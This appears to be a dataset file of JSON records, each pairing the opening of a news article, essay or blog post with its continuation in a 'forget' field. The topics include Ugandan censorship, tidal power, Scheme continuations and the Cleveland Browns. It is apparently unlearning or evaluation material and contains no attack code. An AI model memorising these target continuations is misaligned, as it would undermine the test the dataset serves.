\u2019Aminas\u2019 who live, or lived, among us,\u201d the independent newspaper Al Sabah wrote in a lengthy editorial. \u201cIt\u2019s the law, an absurd, grotesque social rule, that tries to remedy an evil \u2014 rape \u2014 with another even more repugnant one, marrying the rapist. \u2026 Whom are we punishing in the end, the victim or her tormentor?\u201d it asked. The government has pledged to re-examine the law, while police summoned and released the rapist after Amina\u2019s suicide. Under Moroccan law,"}
{"prompt": "Story highlights Ugandan police arrest David Cecil and free him after four days They accuse the Briton of staging a play about gay challenges without permission He faces charges of \"disobedience of lawful orders\" Ugandan authorities jailed a British producer for staging without permission a play about the challenges facing homosexuals in the African nation. Homosexual acts are illegal in Uganda, where most gays and lesbians face physical attacks and are treated as social outcasts. The east African nation has made headlines after a parliamentarian introduced an anti-gay bill that called for death for certain homosexual acts. David Cecil, the", "forget": "producer, spent four days in detention before he was released on bail, his lawyer said Thursday. He faces charges of \"disobedience of lawful orders\" after the nation's media council ordered him not to stage his play in public without authorization. If convicted, he can be imprisoned for two years. \"As I understand, the communique from the media council was he should not stage the play in any public theater in Uganda -- meaning he could do in private,\" said John Onyango, his lawyer. \"That was the interpretation.\" Cecil staged the play at two small bars in the capital of Kampala by private invitation, according to the lawyer. CNN attempts to reach the Ugandan department of public prosecutions were unsuccessful. The play, \"The River and the Mountain,\" features an all-Ugandan cast, and tells the story of a gay businessman killed by his employees. It uses the life of its main character -- a young businessman whose friends desert him after his revelation that he's a homosexual -- to highlight the challenges of gays in Uganda. The character's mother unsuccessfully intervenes to \"cure\" him of his homosexuality, and his colleagues later kill him. \"The play is about the interaction of politics, religion, sexuality and identity,\" Cecil said by phone from the capital. \"The plot hinges on the betrayal of the hero by his best friend.\" Cecil is free on $200 bail. He surrendered his passport and is scheduled to appear in court October 18. Though he faces imprisonment if found guilty, the producer said the incident does not change his love for the nation. \"I love Uganda, I think it's a fantastic country,\" he said. He described the jail he was held as \"a clean and sociable\" place, saying he was treated well. \"I was very well fed ... It was like"}
{"prompt": "When Mark Baker looks up at the moon at night, he does not see magic or mystery. He ponders megawatts. Twice a day, like clockwork, the moon\u2019s gravity makes the seas ebb and flow. For Baker, a marine renewables business manager at GE Power Conversion, the tides are the perfect source of energy, more predictable and reliable than wind or solar power. \u201cSome U.K. locations have significant tidal head ranges,\u201d he says. \u201cThey offer a tantalizing energy generation potential.\u201c The moon could join the sun as a source of renewable energy. GE Power Conversion is testing tidal turbine generators and", "forget": "other underwater technology in turbines standing on the sea floor near the Orkneys in Scotland and at Ramsey Sound in Pembrokeshire, Wales. Baker says that GE is ready to scale up the power system to a large array of tidal turbines planned for the bottom of the Pentland Firth, a narrow channel that separates the Orkneys from the northern tip of Scotland. The channel has some of the fastest moving currents in the U.K. (see video). People tried to capture tidal and wave energy since the Middle Ages when they used \u201ctide mills\u201d to grind grain. Ideas Lab reported that the first tidal power station was the Rance tidal power plant built between 1960 and 1966 in La Rance, France. But the technology did not catch on because of its high capital cost and the limited availability of sites with sufficient tidal flows. Although innovations in turbine technology and design have begun to lower those costs and make deployment possible in more areas, the technology is \u201cdecades behind other forms of renewables and will likely need significant government support and research to become a true clean energy player,\u201d according Ideas Lab. The Orkneys\u2019 rugged coast has some of the strongest tides. The U.S. is currently underwriting development of 17 tidal and wave energy demonstration projects. The U.S. Department of Energy\u2019s latest assessment identified up to 1,400 terawatt hours of potential tidal energy generation per year\u2014one terawatt-hour of electricity is enough to power about 85,000 homes. Developing just a small fraction of the wave and tidal energy available in the U.S. could power millions of American homes. \u201cWave and tidal energy represent a large, untapped resource for the United States and responsible development of this clean, renewable energy source is an important part of our all-of-the-above energy strategy,\u201d said Assistant Secretary"}
{"prompt": "[This essay by Karlo Mikhail Mongaya was originally posted at the author\u2019s blog, Hello Lenin! It is a follow up to a previous essay which was also posted at Anti-Imperialism.org.] A \u201cradical\u201d who chooses to close his eyes to prevailing social conditions is only delusional. A \u201cradical\u201d who proves incapable of arriving at the roots of the fundamental problem is a charlatan. But a \u201cradical\u201d who markets utopian fantasies and reactionary fallacies as revolutionary is a dangerous demagogue.[1] In the US-based online forumKasama Project I was criticized for writing a supposedly \u201cwooden critique\u201d of Slavoj \u017di\u017eek.[2]Singled out as an example", "forget": "of a captive of \u201ctheories of orthodoxy,\u201d I was chastised for being blind to the \u201ccontribution of theory produced by people like \u017di\u017eek.\u201d[3] Apparently, some fellows in the Kasama Project took offense to my calling \u201ccomrade\u201d \u017di\u017eek an apologist of the ruling order.[4] But is there anything wrong with criticizing this so-called \u201cAcademic Rock Star\u201d for his whimsical pronouncements on the nature of the world capitalist system? Are assertions of the supposed \u201ctotal failure\u201d of 20th Century revolutionary experiments now beyond reproach? Is this not the same kind of \u201cunwritten Denkverbot (prohibition against thinking)\u201d that \u017di\u017eek himself complained about in reference to the liberal dread of the so-called \u201ctotalitarian threat\u201d?[5] In some of his works, \u017di\u017eek \u2013 following Alain Badiou \u2013 has insisted on the \u201ceternal\u201d Idea of Communism, namely \u201cstrict egalitarian justice, disciplinary terror, political voluntarism, and trust in the people.\u201d[6] Following his very own injunction for such a politics, should we not take \u017di\u017eek to task for statements that promote wrong readings of the present conjuncture and misleading assessments of the great revolutionary upheavals of the past? While it may indeed be more fruitful to read \u017di\u017eek as a philosopher that can provide an unorthodox account of consciousness via a reworking of the notion of ideology through Lacanian psychoanalysis,[7] would it do to simply leave him to present himself as a worthy \u201cradical\u201d even as he rehashes some of the vilest anti-communist propaganda and propagate pessimism and defeatism? One of the charges levelled against me in the Kasama Project is my clinging to Lenin\u2019s theory of imperialism as opposed to \u017di\u017eek\u2019s own formulations. Changes in the way the globalized capitalist order is organized, particularly \u201cthe increasing integration and penentration [sic] of capitalism,\u201d[8] has supposedly made Lenin\u2019s prognosis of imperialism as the highest and last stage of capitalism obsolete."}
{"prompt": "The term \u2018citizen soldier\u2019 evokes a particularly powerful image in Britain. The poignant histories of the \u2018Pals\u2019 Battalions\u2019, raised utilizing the attraction of geographical and occupational connections, have contributed greatly to the lasting public impression of the conflict. Names such as the \u2018Accrington Pals\u2019, \u2018Glasgow Tramways\u2019 and the two \u2018Football Battalions\u2019 have been documented in many forms \u2013 both fact and fiction \u2013 since the end of the conflict, and the frequently tragic stories of their involvement in the trenches on the Western Front are now relatively familiar. There was, however, another citizen army raised during the First World War.", "forget": "Not based on location and not destined for the front line, these soldiers were enlisted with the specific intention of applying their technical skills to the industrial challenges thrown up by the Western Front. In few areas was this process more pronounced than in the sphere of transportation, critical to the maintenance and sustenance of the armies in the trenches. This post looks at just one of the directorates formed during the war to supervise, organize and manage the logistics network on the Western Front, the Directorate of Inland Water Transport [IWT]. At the outbreak of the war, the British Army had no organization to take advantage of the canal networks of France and Belgium. This changed in December 1914 when Commander Gerald Edward Holland was authorized by the War Office to investigate the potential use of IWT as a supplement to the road and railway networks. As the rank suggests, Holland\u2019s background was not army, but navy, having joined the Royal Indian Marine in 1880. Having seen service in Burma and South Africa, Holland retired from service in 1905 and took up the post of Marine Superintendent of the London and North Western Railway at Holyhead. It was in this capacity that Holland was employed until 1914. Holland\u2019s diary of the first few months of the IWT directorate\u2019s existence remains, and demonstrates both the duties of a \u2018chateau general\u2019 on the supply chain, and the type of men Holland required to populate the new service. Unfortunately, as with so many unofficial diaries, the detailed, enthusiastic entries of the initial months eventually diminish into perfunctory statements before the diary abruptly ends in May 1915. So the diary does not give a full account of the development of a transportation service, however it does offer an insight into the course of"}
{"prompt": "Stack traces in GHCJS June 20, 2014 - Tagged as: haskell, ghcjs, ghc, gsoc, en. I\u2019m about to finish the first part of my GSoC project and as a part of my project I have implemented stack traces for GHCJS. Currently GHC.Stack functions should work in GHCJS, except for some cases I explain below. As a demo, I set up this page, it runs the Haskell program rendered on the page (some part of the code is copied from Simon Marlow\u2019s \u201cWhy can\u2019t I get stack traces?\u201d presentation). Output is printed to the console. You should be seeing something like", "forget": "this: My main goal is to implement profiling features of GHC (cost-centres, SCC annotations, reporting allocations/ticks etc.) for GHCJS. It turns out that cost-centre stacks and call stacks are same thing. GHC.Stack.currentCallStack returns the current cost-centre stack, and cost attribution is done to current call-stack(or current cost-centre stack, since they\u2019re exactly the same thing). Similarly, GHC.Stack.whoCreated returns the cost centre stack that was active when the heap object was created. 20 changed files with 810 additions and 527 deletions later, I had GHC.Stack working. You won\u2019t need to do anything different once it\u2019s merged into GHCJS, but for now it requires some effort to install. It also still has some bugs and differences from GHC version. Rest of the post explains how to test it, bugs, and differences from GHC. How to use Because of a horrible bug(see bugs section), you need a 32bit system to use profiling features of GHCJS. You should clone my fork of GHCJS and shims. For GHCJS, switch to work3 branch(that 3 represents how many times I started from scratch :) and for shims switch to work2 branch. You need to install modified Cabal for GHCJS. After installing Cabal, install GHCJS and run ghcjs-boot --init -q --prof . This takes about 20 minutes on my system and compiles base and some other libraries. --prof is used to generate profiled versions of libraries. After GHCJS has been booted, replace ~/.ghcjs/<your platform>/shims folder with my fork of shims(make sure you switched to work2 branch). Now you should be able to compile and run programs with profiling options of GHC. For example, to compile and run the example program given above, run ghcjs stacktrace.hs -prof -fprof-auto and then run generated stacktrace.jsexe/all.js using nodejs. Enabling profiling gives you a debug executable, with more metadata (object names) and longer (non-renamed)"}
{"prompt": "Media playback is unsupported on your device Media caption What made Canada's Slims River disappear? A team of scientists say a melting glacier in Canada's Yukon has caused a river to completely change course. Their findings, published in Nature Geoscience, show how climate change can cause surprising geological events. The Slims River once flowed out to the Bering Sea, but now it flows into the Kaskawulsh River instead. This phenomenon, known as \"river piracy\", typically takes centuries but the study documented it over the course of one spring. \"Nobody's ever seen a river piracy occur in modern times, at least", "forget": "to my knowledge,\" lead author Dan Shugar told the BBC. The geoscientist at the University of Washington Tacoma says he and six researchers from Canadian and American universities had planned to study the Slims River last summer. Image copyright Dan Shugar/University of Washington Tacoma Image caption An aerial photo shows the meltwater stream along the toe of Kaskawulsh Glacier, seen on the left, that is diverting fresh water from one river to the other But when they arrived in the Yukon it was barely flowing. They discovered that a small channel had eroded in a large glacier that fed a number of small lakes. The glacial lakes used to feed two river systems - the Slims River and the Kaskawulsh River - but when water from one lake poured through the channel into another, it cut the Slims off from its water source. The event is known as river piracy or stream capture, and can take thousands of years. But the researchers documented the piracy of the Slims River in just one spring. Prof Shugar said his colleague, John Clague, at Simon Fraser University in British Columbia, had predicted this event just a decade before because of the area's unique geological formation. But no one knew when or how quickly the stream capture would occur. River gauges show an abrupt four-day drop in late May 2016, which then continued over the summer, the study found. By the time Prof Shugar and his associates got there, the Slims was basically \"a long, skinny lake\". \"The Slims River was essentially cut off from how it was flowing before,\" he said. The change in the river's flow affected the whole landscape. Sheep are now grazing on the exposed river bank, while other rivers in the area are running high. Fish population, wildlife and"}
{"prompt": "The US attack on a Syrian air base came after years of heated debate and deliberation in Washington over intervention in the bloody civil war. Chemical weapons have killed hundreds of people since the start of the conflict, with the U.N. blaming three attacks on the Syrian government and a fourth on ISIS. One of the worst yet came Tuesday in rebel-held northern Idlib and killed dozens, including women and children. That attack prompted President Donald Trump, on day 77 of his presidency, to dramatically shift U.S. policy, with the first direct U.S. attack on the Syrian government. Trump blamed", "forget": "Syrian President Bashar Assad for the attack and called on the international community to join him in trying to end the bloodshed. A timeline of events in Syria leading up to Tuesday's attack: March 2011: Protests erupt in the city of Daraa over security forces' detention of a group of boys accused of painting anti-government graffiti on the walls of their school. On March 15, a protest is held in Damascus' Old City. On March 18, security forces open fire on a protest in Daraa, killing four people in what activists regard as the first deaths of the uprising. Demonstrations spread, as does the crackdown by President Bashar Assad's forces. April 2011: Security forces raid a sit-in in Syria's third-largest city, Homs, where thousands of people tried to create the mood of Cairo's Tahrir Square, the epicenter of protests against Egypt's autocrat Hosni Mubarak. Aug. 18, 2011: President Barack Obama calls on Assad to resign and orders Syrian government assets frozen. Summer 2012: Fighting spreads to Aleppo, Syria's largest city and its former commercial capital. August 20, 2012: Obama says the use of chemical weapons would be a 'red line' that would change his calculus on intervening in the civil war and have 'enormous consequences.' March 19, 2013: The Syrian government and opposition trade accusations over a gas attack that killed some 26 people, including more than a dozen government soldiers, in the town of Khan al-Assal in northern Syria. A U.N. investigation later finds that sarin nerve gas was used, but does not identify a culprit. August 21, 2013: Hundreds of people suffocate in rebel-held suburbs of the Syrian capital, with many suffering from convulsions, pinpoint pupils, and foaming at the mouth. U.N. investigators visit the sites and determine that ground-to-ground missiles loaded with sarin were fired on civilian"}
{"prompt": "Using React components in non-React websites Seven leaps Blocked Unblock Follow Following May 5, 2016 This is something that I needed to do recently and I was surprised by how hard I found it to find information on it. A few hours of doubting my ability as a developer and 20+ browser tabs later I discovered that it actually is relatively straight forward using webpack and babel. TL;DR \u2014 use this github project as a template to bundle the component The aim: Friends of mine had created a really cool React component, Chat-Template, a configurable component that simulates instant message", "forget": "conversations. I wanted to make this component easily consumable for non-react websites as well. Chat-Template in action on http://mrwgame.com The approach: One thing that was clear from the start is that in order to make the component consumable, I was going to need to package it up webpack. Webpack takes modules with dependencies and generates static assets representing those modules A lot of the examples I seen involved the consumer of the webpacked component including react.js on their webpage, this is something I wanted to avoid. I wanted the consumers of the component to not even need to know what React is! (Maybe they\u2019re living under a rock?) I wrote a node script to wrap the component. It included the component, React and ReactDom and exported a method to display it on a given dom element Node script to wrap the component As this code was to be consumed by browsers, I use babel to ensure the best compatibly. Babel is basically a javascript code compiler that converts EC6 javascript code to the much more widely compatible EC5 I now needed to configure webpack. One thing that was needed was to make the method a global variable, so the showChatTemplate function was available, this was done using the libraryTarget and library configurations. The webpack config looked like this I now had a single javascript file that included everything the consumer needed and could be easily added to a web page. Perfect! Except at 1.08MB, the generated file was a little on the large side! After running webpack with the -p flag and adding some configuration to make sure the production version of react was being used, the file size shrunk down to a much more manageable 0.283MB Conclusion: That\u2019s how I was able to consume a React component in a"}
{"prompt": "The notion of continuations as first-class values has been a tricky subject for me to understand to a comfortable level of certainty. I think this is probably true for many PLT-laymen like myself. This article represents my attempt at collecting and presenting my thoughts in a coherant manner! I'd be happy to receive corrections and comments. I will start by defining a few key terms in my own style. Continuation We can observe that every expression, regardless of complexity, has the ultimate goal of returning a value to some surrounding execution context. That context is known as a continuation -", "forget": "it represents everything that is left to compute. Therefore, every computation has an associated continuation, which specifies the place from which execution should continue once control has been returned. As a simple example, consider the following Scheme form: ( lambda ( n ) ( + n 1 )) The continuation associated with the sub-expression \"1\" is an anonymous function, whose body consists of a call to the + primitive procedure whose first argument is the local variable n and whose second argument is being sought. With this understanding we can say expressions deliver values and continuations receive values. Current continuation By \"current\", we are referring to the continuation that would be derived from the current point in a programs execution. In other words, the current point of execution, lexical environment and state of the call stack (You should be familiar with the stack and the heap). First-class object For an object to be a \"first-class citizen\" in a programming language, it needs a few properties. Specifically, it must support being: passed as a parameter to a function; returned from a function; stored in a variable or within a data structure; constructed at runtime. Things like numbers and strings are first-class in most programming languages. Functions are first-class in all functional programming languages. And in Scheme, my language of choice for this article, nearly everything can be considered first-class - including continuations as we'll see shortly. OK, now continuations in Scheme In order to render the abstract notion of the current execution context (the current continuation) to the programmer, Scheme needs some way to represent it. It would have been possible to implement specific objects and syntax into the language to handle this, but it's much easier to simply represent the current continuation as a first-class function. This process of transforming"}
{"prompt": "It\u2019s a frequent refrain from young condo-dwellers looking to upsize or start a family without fleeing to the suburbs: Why aren\u2019t there more large units downtown? A recent report by the City Building Institute (CBI) at Ryerson University and a survey by Environics Research both highlighted the need for three-bedroom units in Toronto, arguing that developers and builders are ignoring the demand for larger units by young professionals and baby boomers. The axioms of urban economics, however, explain why large condominiums are ill-suited for very dense urban cores. Like other vibrant downtowns in Manhattan and London, Toronto has a tightly", "forget": "clustered financial district that is also home for some young professionals who are mostly unmarried, without children and rent smaller-sized condominiums. A key to the development puzzle lies in the gap between the stated preferences of these young renter professionals (\u201cWouldn\u2019t it be nice to start a family downtown?\u201d) with the revealed preferences of young households with children (\u201cThe suburbs it is\u201d). On a per-square-foot basis, a three-bedroom condominium downtown will always be significantly more expensive than a similar-sized townhouse in a suburb. Why? Land prices. Downtown land is in huge demand because it is scarce, which leads to high prices and high-rise buildings. Condo sizes are smallest in places with the highest land prices. Contrarily, places with less expensive land attract larger units, as per the first axiom of urban economics: Prices adjust to achieve locational equilibrium. For economic efficiency, scarce and high-priced land must be used for high-density office and residential land uses. Smaller sized units, and not three-bedroom condos, are a more efficient residential use of scarce land that permits more workers to be near their jobs in the financial core. So, what to do with the unmet demand for large condos? Well, if there really were an unmet economic demand, builders would have responded to it. Evidence of actual pent-up demand for owner-occupied three-bedroom condos, it turns out, is rather elusive. Recent Environics surveys found young professionals complained of a lack of three-bedroom condos (a stated preference), but did not necessarily show an interest in owning large condos themselves. In fact, 81 per cent of respondents said that they did not want a condo at all, with most desiring a detached home. Environics found that young professionals were predominantly renters and that 83 per cent did not have children. Builders respond to revealed preferences and not"}
{"prompt": "Mexican Marine officers guard the scene of a July shootout in which eight alleged drug traffickers were shot dead by Mexican Marine officers in Tlahuac, Mexico City. (AFP/Getty Images) Just a week into his presidency, Donald Trump raised the specter of using U.S. military might to crush \u201ctough hombres\u201d: the Mexican drug cartels bedeviling the country in a historic year of gangland murders. \u201cWe are willing to help you with that big-league. But they have to be knocked out and you have not done a good job of knocking them out,\u201d Trump told Mexican President Enrique Pe\u00f1a Nieto on Jan.", "forget": "27, according to a transcript published Thursday by The Washington Post. [Trump urged Mexican president to end his public defiance on border wall, transcript reveals] \u201cListen, I know how tough these guys are \u2014 our military will knock them out like you never thought of, we will work to help you knock them out because your country does not want that,\u201d Trump said. But can Trump actually do that? Republican presidential nominee Donald Trump discussed border security at the third and final presidential debate, Oct. 19, in Las Vegas. (The Washington Post) Can Trump send forces to Mexico? It is unlikely the Mexican government would allow small elite units, like Green Berets or Navy SEALs, to battle drug cartels in Mexico, or play an active role in advising and assisting Mexican units, said Peter DeShazo, a visiting professor in the Latin American, Latino and Caribbean Studies program at Dartmouth College. While Colombian units have long trained alongside the U.S. Army\u2019s 7th Special Forces Group, for instance, internal Mexican politics would likely prohibit that kind of decision. \u201cThis is a not a unilateral issue. Organized crime is an international matter and not a Mexican domestic matter,\u201d he told The Post. Dispatching U.S. forces in Mexico would require host nation approval, and any military strike must fall within the broad, far-reaching authorization of use of military force powers wielded by the president, though Trump has sought to expand that power to undeclared battlefields like Yemen. Northern Command did not respond to a question asking whether any U.S. forces are in Mexico beyond embassy duty. DeShazo said Pe\u00f1a Nieto would be better served focusing on the Merida Initiative, the $2.8 billion State Department program launched in 2008 that aims to overhaul the Mexican justice system and improve Mexico\u2019s troubling human rights record, a"}
{"prompt": "Under the agreement, the United States can still penalize Iran for behavior such as its development of ballistic missiles or support for terrorism, but it cannot simply reapply the same sanctions that were lifted under a different guise. Iran has the right to appeal to a joint committee and make the argument that the United States is in violation. European officials have long argued that the agreement was intended only to restrict Iran\u2019s nuclear program, not the panoply of other issues. If the international community were to do more to confront Tehran over its efforts to destabilize neighbors in the", "forget": "Middle East, European officials have said, it would be better to face an Iran without nuclear weapons. They have shown little enthusiasm for revisiting the deal, much less undercutting it. That Mr. Trump\u2019s actions will satisfy conservatives who have been urging him to rip up the Iran deal seemed unlikely. In a column in The Hill, a Capitol Hill newspaper, John R. Bolton, a former ambassador to the United Nations who has interviewed with the president for several jobs in the administration, argued that the nuclear agreement \u201cremains palpably harmful to American national interests.\u201d Withdrawing from it, he said, \u201cshould be the highest priority.\u201d Israel and its supporters in Washington have also bristled at a new cease-fire in southwest Syria that was brokered by Mr. Trump and President Vladimir V. Putin of Russia, fearing it will leave Iran as a major player on the ground in the six-year civil war. Mr. Spicer said the administration would address that with Israel. \u201cThere\u2019s a shared interest that we have with Israel, making sure that Iran does not gain a foothold, military base-wise, in southern Syria,\u201d Mr. Spicer said. Tehran\u2019s clerical government argues that Mr. Trump has already violated the nuclear agreement by pressuring businesses not to engage with Iran even though the nuclear sanctions have been lifted. \u201cThat is violation of not the spirit but of the letter of the J.C.P.O.A. of the nuclear deal,\u201d Mohammad Javad Zarif, Iran\u2019s foreign minister, said on CNN\u2019s \u201cFareed Zakaria GPS\u201d on Sunday, using the initials for the agreement. Mr. Zarif, visiting New York, told a gathering of the Council on Foreign Relations on Monday that he has yet to talk with Mr. Tillerson, unlike his frequent conversations with former Secretary of State John Kerry, with whom he negotiated the nuclear accord. In an interview on"}
{"prompt": "When Sergeant Clay Hunt left the U.S. Marine Corps in 2010 after serving in Iraq and Afghanistan, he was lonely, depressed and battling Post-Traumatic Stress Syndrome (PTSD). He was working as an advocate for other soldiers struck by this debilitating condition, lobbying Congress on their behalf, cycling with wounded warriors, and even appearing in PSAs discussing the issues surrounding veteran reintegration. But just months after separating from the Corps, he committed suicide, unable to handle the isolation that came with adjusting to civilian life. At his memorial service, Jake Wood, a soldier who he\u2019d served alongside on both tours, discovered", "forget": "that three other Marines from their unit lived within 15 miles of Hunt\u2019s Houston, Texas, apartment, but no one knew he had moved there. Wood couldn\u2019t help but think that if they had connected, their presence might have saved Hunt\u2019s life. So he joined forces with fellow vets Anthony Allman (Chief Executive Officer) and William McNulty (Chief Expeditionary Officer) to create POS REP, a proximity-based app that uses GPS to connect veterans to each other and to resources that can help them adjust to\u2013and thrive in\u2013life after service. It couldn\u2019t have come a moment too soon; the VA estimates that 22 veterans take their lives every single day. This screenshot shows an AMVETS Career Center where veterans can find employment assistance \u201cWe\u2019re now in our 13th year of combat operations in the global war on terrorism that has been executed with an All-Volunteer Force\u2013there hasn\u2019t been a draft\u2013and the burden of war has fallen on a small segment of American society. This makes transitioning out of the military and returning to civilian life particularly challenging,\u201d Allman, 31, explains. \u201cPOS REP allows veterans to discover and communicate with a network of peers who can relate to those unique situations. Think of it as a sacred digital space where veterans can discuss issues pertaining to reintegration without judgment.\u201d The app, which went live at the end of 2012, takes its name straight from the frontlines. \u201cPOS REP\u201d is military slang for \u201cPosition Report,\u201d which means to provide your location. The fact that it\u2019s an app goes beyond the mobile-only trend. \u201cMobile is ideal for the type of user behavior we\u2019d like to encourage. We don\u2019t want veterans sitting behind their computers posting cat GIFs all day. We want veterans engaging with each other online, but more importantly offline,\u201d says Allman, who previously"}
{"prompt": "The Nature of Lisp When I first stumbled into Lisp advocacy on various corners of the web I was already an experienced programmer. At that point I had grokked what seemed at the time a wide range of programming languages. I was proud to have the usual suspects (C++, Java, C#, etc.) on my service record and was under impression that I knew everything there is to know about programming languages. I couldn't have possibly been more wrong. My initial attempt to learn Lisp came to a crashing halt as soon as I saw some sample code. I suppose the", "forget": "same thought ran through my mind that ran through thousands of other minds who were ever in my shoes: \"Why on Earth would anyone want to use a language with such horrific syntax?!\" I couldn't be bothered to learn a language if its creators couldn't be bothered to give it a pleasant syntax. After all, I was almost blinded by the infamous Lisp parentheses! The moment I regained my sight I communicated my frustrations to some members of the Lisp sect. Almost immediately I was bombarded by a standard set of responses: Lisp's parentheses are only a superficial matter, Lisp has a huge benefit of code and data being expressed in the same manner (which, obviously, is a huge improvement over XML), Lisp has tremendously powerful metaprogramming facilities that allow programs to write code and modify themselves, Lisp allows for creation of mini-languages specific to the problem at hand, Lisp blurs the distinction between run time and compile time, Lisp, Lisp, Lisp... The list was very impressive. Needless to say none of it made sense. Nobody could illustrate the usefulness of these features with specific examples because these techniques are supposedly only useful in large software systems. After many hours of debating that conventional programming languages do the job just fine, I gave up. I wasn't about to invest months into learning a language with a terrible syntax in order to understand obscure features that had no useful examples. My time has not yet come. For many months the Lisp advocates pressed on. I was baffled. Many extremely intelligent people I knew and had much respect for were praising Lisp with almost religious dedication. There had to be something there, something I couldn't afford not to get my hands on! Eventually my thirst for knowledge won me over. I took"}
{"prompt": "The second half, devoted to the guerrilla campaign in Bolivia in 1967 that ended in Guevara\u2019s death, is equally rigorous in its depiction of a failed revolt. Though Guevara tried, in a new context, to apply the strategic lessons of the Cuban revolution \u2014 concentrate on the countryside; cultivate popular support; maintain discipline and cohesion in the ranks \u2014 everything went wrong. And it turned out that Guevara\u2019s adversaries, the Bolivian army and its American advisers, had learned a thing or two about how to wage an effective counterinsurgency. There is a lot, however, that the audience will not learn", "forget": "from this big movie, which has some big problems as well as major virtues. In between the two periods covered in \u201cChe,\u201d Guevara was an important player in the Castro government, but his brutal role in turning a revolutionary movement into a dictatorship goes virtually unmentioned. This, along with Benicio Del Toro\u2019s soulful and charismatic performance, allows Mr. Soderbergh to preserve the romantic notion of Guevara as a martyr and an iconic figure, an idealistic champion of the poor and oppressed. By now, though, this image seems at best na\u00efve and incomplete, at worst sentimental and dishonest. More to the point, perhaps, it is not very interesting. But \u201cChe\u201d itself is interesting, partly because it has the power to provoke some serious argument \u2014 about its own tactics and methods, as well as those of its subject. Whether American audiences will have a chance to participate in that argument is, for the moment, an open question. The mood here among buyers has been extremely cautious, and as of this writing, distributors have balked at spending $8 million to $10 million (the reported asking price for \u201cChe\u201d) on a 258-minute movie to be released in two parts, with subtitles. Photo This is one of the frustrations of Cannes, for American critics at least. We see lots of fascinating movies \u2014 not all good, but very few completely worthless \u2014 and then wonder if we, or our readers, will ever see them again. I\u2019m not in the movie business (a mutually beneficial arrangement, believe me), and not inclined to speculate with someone else\u2019s money. I do hope, however, that sometime in the near future I can take part in the long and contentious conversation that \u201cChe\u201d deserves, and also see how my own initial ambivalence about the film resolves itself. I have"}
{"prompt": "BEREA, Ohio \u2014 The dominant feeling around the Cleveland Browns the day after the 2016 season ended? Overwhelming optimism. To a man, players, coaches and front-office types believe this long and miserable season has laid a foundation. Hue Jackson said that this 1-15 finish is different because it set up the future. The Browns are proud that they did not quit, that they fought to the end in overtime in Pittsburgh. They also believe strength is forged from struggle. \"Nobody likes the record, by any stretch of the imagination,\" Jackson said. \"But I truly believe the foundation is set for", "forget": "some of the things that we want to do as we move forward.\" Director of strategy Paul DePodesta called the season painful, like a toothache, but also said he felt positive vibes on Monday. \"I was struck by the tenor of the conversations throughout the building today, especially our players, how optimistic they are, how bright they feel the future is here,\" DePodesta said. \"I share their enthusiasm.\" Vice president of football operations Sashi Brown said the positives included the players' \"buy-in\" of Jackson's programs, and the change in culture brought about by the hiring of Jackson. The words thrown around pushed the limits of the thesaurus. DePodesta said he's more optimistic than he was a year ago when he joined the Browns. He added that the Browns made \"tremendous progress\" in 2016. \"There is a belief around the building that we're heading in the right direction,\" Brown said. \"That is extremely important and a cornerstone of the foundation that we needed to lay this year.\u201d If it sounds counterintuitive, well, it might be. It's tough to look at any 1-15 season and find positives, but the Browns tore the team down to the nails. They endured a far worse season than they anticipated, but now plan to build it back up. The leadership structure remains in place. DePodesta worked in baseball until a year ago. Brown was hired by the Browns as general counsel and eventually became the salary-cap guy. Jackson is the traditional football guy. Scouts will work with analytics folks, who will crunch the numbers to find the best options. \"Nobody likes the record, by any stretch of the imagination,\" Browns coach Hue Jackson said. \"But I truly believe the foundation is set for some of the things that we want to do.\" AP Photo/Gail Burton DePodesta"}
{"prompt": "If antioxidant supplement labels are to be believed, you should stop reading this article and gobble down some pills: Spurred by the rising sales of antioxidant supplements, Pom Wonderful, makers of pomegranate juice, now makes an antioxidant supplement that they claim has \"extraordinary health benefits.\" This proclamation is echoed by numerous health supplement ads in health food stores and on the Internet. For instance, Source Naturals Resveratrol advises on the General Nutrition Centers Web site that taking antioxidants \"\u2026may help prevent free-radical damage throughout the body and provide protective support to the cardiovascular system.*\" Problem solved. Except a bit of", "forget": "a buzz-kill is delivered by the asterisked footnote: \"These statements have not been evaluated by the Food and Drug Administration. This product is not intended to diagnose, treat, cure or prevent any disease.\" So, do the purported health benefits of antioxidants actually exist? Here's the theory: Just as the name suggests, antioxidants slow down oxidation, a process that is part of normal bodily functions but can also damage cells. Oxidation can even increase the stickiness of cholesterol, upping the risk that it will block circulation and cause heart attacks or strokes. So it at least theoretically makes sense that antioxidants such as vitamin C, vitamin E and other antioxidant compounds found in carrots and other vegetables, are good for you. Ditto antioxidants found in pomegranates, red wine and licorice root. And early studies in the 1990s showed that people who ate more antioxidants had a lower risk of heart disease and stroke. But those findings didn't hold up for antioxidant supplements. In later studies, such supplements did not affect risk of\u2014and in some studies actually increased\u2014heart attacks and strokes. Nancy Cook, an epidemiologist at Brigham and Women's Hospital in Boston and a co-author of one of these studies, suggests two possible explanations for these results: It could be that studies of supplements are using the wrong doses and combinations of antioxidants. Or, people who eat lots of antioxidants\u2014in foods, not supplements\u2014are already doing the kinds of things that lower heart disease risk, namely exercise and, well, eating plenty of fruits and vegetables. Biochemist Michael Aviram of the Rambam Medical Center in Haifa, Israel, suggests another alternative. His research focuses on pomegranates. In a recent study, he found that mice bred to have blockages in their arteries and developed fewer blockages in their arteries after they were fed parts of pomegranates."}
{"prompt": "What Your Band Needs To Know Before Going Pro Every band dreams of making it to the big time. However, few musicians know what it really takes to move your passion of music to a career. These tips listed below will put you ahead of the curve. Get ready, it ain\u2019t pretty. Practice- You must have band practice everyday for 8 to 10 hours. The first 6 hours should be spent in total silence, sitting in a circle and picturing what you will be playing. It is called simulation exercise. At no point should you talk. Picture yourself playing a", "forget": "sheading solo, smashing your guitar, spilling a beer all over your bass players pedal board, and dropping your pick. Imagining things before they happen will get you ready for when they happen in real life. The total silence will also prepare you for the hours of silence you will spend in the band van while on tour. Fighting- At some point, your band will fight while on tour. It might be about the last show when the bass player missed a cue or about the hot chick at the bar that you totally could have scored if your drummer didn\u2019t come over and yell at you for not helping load the gear. You should know this is going to happen. Fights are inevitable, just ask my wife. When fights do occur, make sure to blow the littlest thing out of proportion and hold on to it for days. I still hate my drummer for once sneezing without covering his mouth; freaking hippies. Money- no matter what the bar says, expect to be paid slightly less than the agreed upon price. Did they say, $400 bucks, free drinks and 10 guest passes? What they really mean is, $400 minus the beer you drink and you don\u2019t even have any guests. So, you will walk out with $300, a bar napkin with an ugly chick\u2019s digits, and a pint glass your guitar player stashed in his guitar case. Always send two people to collect 